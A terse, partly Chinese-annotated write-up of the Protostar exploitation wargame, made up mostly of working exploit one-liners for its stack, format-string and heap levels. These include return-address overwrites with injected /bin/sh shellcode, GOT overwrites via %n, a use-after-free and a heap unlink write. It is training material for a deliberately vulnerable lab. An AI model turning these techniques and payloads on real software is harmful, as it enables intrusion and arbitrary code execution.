Exploit-Exercises Protostar writeup PART I
Exploit-Exercises Protostar writeup PART I
stack0
$ python -c "print 0x44*'a'" | ./stack0you have changed the 'modified' variable |
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stack1
$ python -c "print 0x40*'a'+'\x64\x63\x62\x61'" | xargs ./stack1you have correctly got the variable to the right value |
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stack2
import ospayload = 'a'*0x40 + '\x0a\x0d\x0a\x0d'os.putenv("GREENIE", payload)os.system("./stack2") |
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stack3
$ readelf -a stack3 | grep winThere are no unwind sections in this file. 56: 08048424 20 FUNC GLOBAL DEFAULT 14 win$ python -c "print 0x40*'a'+'\x24\x84\x04\x08'" | ./stack3calling function pointer, jumping to 0x08048424code flow successfully changed |
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stack 4
$ readelf -a stack4 | grep winThere are no unwind sections in this file. 56: 080483f4 20 FUNC GLOBAL DEFAULT 14 win$ python -c "print 76*'a'+'\xf4\x83\x04\x08'"|./stack4code flow successfully changed |
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stack5
gdb-peda$ checksecCANARY : disabledFORTIFY : disabledNX : disabledPIE : disabledRELRO : disabled |
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系统没开ASLR。让程序崩溃，调试core dump获得stack address。
python -c "print 0x4c*'a'+'\x10\xfd\xff\xbf'+'\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'" | ./stack5 |
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stack6
return addr => addr(ret) => stack addr
# retn 0x08048508python -c "print 0x50*'a'+'\x08\x85\x04\x08'+'\x04\xfd\xff\xbf'+'\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'" | ./stack6 |
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stack7
# retn 0x08048553python -c "print 0x50*'a'+'\x53\x85\x04\x08'+'\x04\xfd\xff\xbf'+'\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'" | ./stack6 |
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format0
root@protostar:/opt/protostar/bin# python -c "print 0x40*'a'+'\xef\xbe\xad\xde'" | xargs ./format0you have hit the target correctly :) |
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format1
%128$n代表第128个参数，argv会放在栈上。
root@protostar:/opt/protostar/bin# python -c "print '\x38\x96\x04\x08\x08\x04aaa%128\$n'" | xargs ./format1 aaayou have modified the target :) |
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format2
[-------------------------------------code-------------------------------------] 0x8048477 <vuln+35>: call 0x804835c <fgets@plt> 0x804847c <vuln+40>: lea eax,[ebp-0x208] 0x8048482 <vuln+46>: mov DWORD PTR [esp],eax=> 0x8048485 <vuln+49>: call 0x804837c <printf@plt> 0x804848a <vuln+54>: mov eax,ds:0x80496e4 0x804848f <vuln+59>: cmp eax,0x40 0x8048492 <vuln+62>: jne 0x80484a2 <vuln+78> 0x8048494 <vuln+64>: mov DWORD PTR [esp],0x8048590Guessed arguments:arg[0]: 0xffffd450 ("aaaaaa\n")[------------------------------------stack-------------------------------------]0000| 0xffffd440 --> 0xffffd450 ("aaaaaa\n")0004| 0xffffd444 --> 0x2000008| 0xffffd448 --> 0xf7fc2c20 --> 0xfbad22880012| 0xffffd44c --> 0xf7fec308 (<_dl_check_map_versions+632>: mov edi,eax)0016| 0xffffd450 ("aaaaaa\n") |
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exploit:
root@protostar:/opt/protostar/bin# python -c "print '\xe4\x96\x04\x08%4\$060x%4\$n'" | ./format2.0000000000000000000000000000000000000000000000000000080496e4you have modified the target :) |
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format3
python -c "print '\xf4\x96\x04\x08%12\$016930112x%12\$n'" | ./format3 |
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看了我的方法还是有点弱- -，基本就是一字节写比较好的方法
python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%52x%12$n%13$n%14$n%15$n"' | ./format3target is 44444444 :( |
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format4
写exit的GOT表中的数据,GOT["exit"]=0x08049724，单字节写入。
python -c "print '\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08'+'%0164x%4\$n%0208x%5\$n%0128x%6\$n%260x%7\$n'" | ./format4 |
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heap0
winner = 0x08048464
root@protostar:/opt/protostar/bin# python -c "print 72*'a'+'\x64\x84\x04\x08'" | xargs ./heap0data is at 0x804a008, fp is at 0x804a050level passed |
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heap1
GOT[“puts”] = 0x08049774 winner = 0x08048494 没啥说的，把第二个指针覆盖为puts的got地址，第二次strcpy把winner写入puts的got表中
root@protostar:/opt/protostar/bin# ./heap1 $(python -c "print 20 * 'a' + '\x74\x97\x04\x08'") $(python -c "print '\x94\x84\x04\x08'")and we have a winner @ 1491862467 |
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heap2
很明显的UAF，struct auth = 36字节，先创建auth，再free再用strdup分配36字节大小的空间即可。
[ auth = (nil), service = (nil) ]auth aaaaa[ auth = 0x903d008, service = (nil) ]reset[ auth = 0x903d008, service = (nil) ]serviceaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[ auth = 0x903d008, service = 0x903d018 ]loginyou have logged in already![ auth = 0x903d008, service = 0x903d018 ] |
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heap3
unlink导致任意地址写
root@protostar:/opt/protostar/bin# ./heap3 $(python -c 'print "A" * 4 + "\x68\x64\x88\x04\x08\xc3"') $(python -c 'print "A" * 32 + "\xf8\xff\xff\xff" + "\xfc\xff\xff\xff" + "A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCCthat wasn't too bad now, was it? @ 1491865342 |
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